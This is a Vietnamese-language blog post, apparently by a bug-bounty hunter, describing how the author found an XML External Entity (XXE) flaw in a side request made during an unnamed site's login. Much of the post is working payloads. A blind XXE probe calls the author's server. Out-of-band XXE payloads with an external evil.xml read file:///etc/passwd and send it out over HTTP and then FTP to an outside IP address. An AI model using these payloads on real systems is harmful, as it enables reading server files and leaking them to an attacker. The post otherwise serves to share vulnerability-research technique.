XXE everywhere

hkln1
tradahacking
Published in
3 min readJan 29, 2019
  • Cách đây hơn một năm tôi cũng tìm được 1 lỗi XXE vào đúng dịp sinh nhật của con tôi.
  • Gần đây tôi lại có duyên gặp lại cố nhân, cái cảm giác vui sướng pha lẫn một chút bồi hồi gợi nhớ kỷ niệm xưa ùa về… Tôi ko biết sau này mình có còn cơ hội gặp lại nữa không, nhưng hi vong đây không phải là lần cuối =)). Nói gì thì nói…thôi thì chỉ biết hôm nay…gặp đã là vui rồi, sau này để sau này tính *_*. Tôi đọc rất nhiều write up thấy sao các researcher khác có duyên gặp đồng chí XXE này thường xuyên, còn tôi… haizz…cứ mãi vô duyên đối diện bất tương phùng…
  • Như bao lần khác, tôi lò mò, săm soi vào những cái request ở chức năng login. Tôi soi kỹ vào những request đi kèm theo request thực thi chức năng chính (Login). Thường thì những request này phục vụ cho việc monitor, analytics, statistic. Các researcher khác thường hay bỏ qua, ko test những request này. Nhưng đối với tôi, đây là một cơ hội. Tôi đã từng tìm được những lỗi nặng như SQLi, RCE trên những request kiểu này :). Lần này, khi thực thi chức năng login có 2,3 request gửi lên server. Có một request khá lạ
  • Với kinh nghiệm chinh chiến bao nhiêu năm trời, tôi đoán biết request này khi gửi lên server sẽ đi qua hàm thư viện xử lý xml để parse (Content-Type: text/xml). Không suy nghĩ, XXE (XML External Entities) là một ứng viên vô cùng tiềm năng để đăng quang trong cuộc thi hoa hậu liên lục địa năm nay ^0^. Để test bị có bị lỗi hay không, bạn nên dùng Blind XXE để test, lỗi hay ko là biết liền. Dùng XXE classic để test mắc công server ko trả kết quả về hay bị filter gì gì đó lúc đó lại mắc công test thêm 1 lần Blind nữa. Tôi phang ngay (xoá cái data dưới body của request và bỏ payload dưới vào)

<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT flap ANY ><!ENTITY hehe SYSTEM "http://128.199.141.142/choinodi.txt">]><flap>&hehe;</flap>

  • BOOM !!!. Nó gửi request tới server của tôi kìa. Hiu hiu (sorry quên chụp hình lại :( )
  • Ngay lập tức, tôi triển liền OOB XXE (Out-Of-Band)

<?xml version=”1.0" ?>

<!DOCTYPE xxe [

<!ENTITY % xml SYSTEM “http://128.199.141.142/evil.xml">

%xml;

%ext;]>

<xxe>&hehe;</xxe>

  • File evil.xml (đặt ở trên server của tôi)

<!ENTITY % data SYSTEM “file:///etc/passwd”>

<!ENTITY % ext “<!ENTITY hehe SYSTEM ‘http://128.199.141.142/?%data;'>">

  • Oh, không được ! Chắc có thể có ký tự gì trong file passwd nó không gửi qua URL được…Đối với ngữ cảnh server code bằng PHP bạn có thể bypass bằng php filter wrapper (convert nó qua base64), đằng này server nó code bằng java…tôi đành phải dùng tuyệt chiêu cuối là ép nó gửi qua đường FTP :))

<?xml version=”1.0" ?>

<!DOCTYPE xxe [

<!ENTITY % xml SYSTEM “http://128.199.141.142/evil.xml”>

%xml;

%ext;]>

<xxe>&ftp;</xxe>

File evil.xml

<!ENTITY % file SYSTEM “file:///etc/passwd”>

<!ENTITY % ext “<!ENTITY hehe SYSTEM ‘ftp://128.199.141.142:2121/%file;’>”>

  • YAHOOOOO ! Thành công rồi các bạn ạ….Tiền ơi tiền đâu rồi !? =))

--

--